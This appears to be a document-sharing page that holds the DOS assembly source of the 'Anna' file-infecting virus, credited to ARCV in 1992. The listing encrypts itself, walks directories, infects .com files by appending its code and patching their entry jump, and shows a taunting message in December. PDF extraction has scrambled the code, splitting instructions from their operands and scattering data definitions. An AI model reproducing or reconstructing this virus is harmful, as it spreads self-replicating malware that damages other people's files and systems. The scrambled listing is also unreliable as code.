Anna

  • November 2019
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Anna as PDF for free.

More details

  • Words: 539
  • Pages: 5
len level1len level2len

equ offset marker+5-offset main2 equ offset level1-offset main3 equ offset level2-offset main3

code segment assume cs:code,ds:code,es:code org 0100h main:

xor si,si call level2 call level1 jmp main2 dd 0h

main2: nextline:

call nextline pop ax sub ax,offset nextline xchg si,ax call level1 call level2 mov ax,word ptr ds:[oldstart+si] mov cx,word ptr ds:[oldstart+si+2] mov ds:[0100h],ax mov ds:[0102h],cx

main3:

getdate:

mov ah,2ah int 21h jnc notexit

lexit:

jmp exit

notexit:

cmp dh,0ch jne getdir jmp activ8

getdir:

mov ah,47h mov dl,00h push si lea bx,(curdir+si) mov si,bx int 21h jc lexit pop si mov byte ptr ds:[flag+si],00h

setdta:

mov ah,1ah lea dx,(buff+si) int 21h

findfile:

mov mov lea int jnc

ah,4eh cx,00h dx,(search1+si) 21h openup

cmp al,12h jne lexit jmp next_dir openup:

mov ah,3dh mov al,02h lea dx,(buff+1eh+si) int 21h jc lexit mov ds:[handle+si],ax

movepoint:

mov ax,4202h mov bx,ds:[handle+si] mov cx,0ffffh mov dx,0fffbh int 21h jc lclose jmp checkmark

lclose:

jmp close

checkmark:

mov ah,3fh mov bx,ds:[handle+si] mov cx,05h lea dx,(check+si) int 21h jc lclose lea di,(marker+si) lea ax,(check+si) xchg si,ax mov cx,05h cmpsb jnz infect loop compare xchg si,ax jmp next_file

compare:

infect:

xchg si,ax mov ax,4200h mov bx,ds:[handle+si] xor cx,cx xor dx,dx int 21h jc lclose mov ah,3fh mov bx,ds:[handle+si] lea dx,(oldstart+si) mov cx,4 int 21h jc lclose mov ax,4202h mov bx,ds:[handle+si] xor cx,cx xor dx,dx int 21h

jc lclose sub ax,3h mov word ptr ds:[jump+1+si],ax call save mov ax,4200h mov bx,ds:[handle+si] xor cx,cx xor dx,dx int 21h mov ah,40h mov bx,ds:[handle+si] mov cx,3 lea dx,(jump+si) int 21h mov ah,3bh lea dx,(bkslash+si) int 21h jmp close next_dir:

cmp ds:[dir_count],20 je exit mov ah,1ah lea dx,(buff2+si) int 21h mov ah,3bh lea dx,(bslsh+si) int 21h cmp byte ptr ds:[flag+si],00h jne nextdir2 mov byte ptr ds:[flag+si],0ffh mov ah,4eh lea dx,(search2+si) xor cx,cx mov bx,cx mov cl,10h int 21h jc exit jmp chdir

nextdir2:

mov ah,4fh int 21h jc exit inc ds:[dir_count+si]

chdir:

mov lea int jmp

ah,3bh dx,(buff2+1eh+si) 21h setdta

activ8:

mov lea int jmp

ah,09h dx,(msg+si) 21h crash

crash:

close:

mov ah,3eh mov bx,ds:[handle+si] int 21h

runold:

mov ax,0100h jmp ax

next_file:

mov ah,3eh mov bx,ds:[handle+si] int 21h mov ah,4fh int 21h jc next_dir jmp openup

exit:

mov lea int jmp

info

db '[anna]',00h db 'slartibartfast, arcv nuke the french',00h

msg

db db db db db db db db

oldstart:

mov ah,4ch int 21h

jump flag bslsh search2 search1

db db db db db

level2:

lea di,(main3+si) mov cx,level2len mov al,byte ptr ds:[di] rol al,4 stosb loop enc2 ret

enc2:

level1: inc1: key:

ah,3bh dx,(curdir+si) 21h runold

0dh,0ah,07h,0dh ' have a cool yule from the arcv',0dh,0ah ' xcept anna jones',0dh,0ah 'i hope you get run over by a reindeer',0dh,0ah ' santas bringin',39,' you a bomb',0dh,0ah ' all my lurve - slartibartfast',0dh,0ah '(c) arcv 1992 - england raining again',0dh,0ah '$'

0e9h,0,0 00h '\',00h '*. ',00h '*.com',00h

lea di,(main3+si) mov cx,level1len xor byte ptr ds:[di],01h inc di loop inc1 ret

save:

inc byte ptr ds:[key-1+si] call level2 call level1 mov ah,40h mov bx,ds:[handle+si] mov cx,len lea dx,(main2+si) int 21h call level1 call level2 ret

marker

db 'imir8'

bkslash curdir handle buff buff2 check dir_count

db db dw db db db dw

code ends end main

'\' 64 dup (0) 0h 60h dup (0) 60h dup (0) 5 dup (?) 0h

Related Documents

Anna
May 2020 37
Anna
May 2020 39
Anna
November 2019 68
Anna
October 2019 61
Anna
November 2019 70
Anna
April 2020 17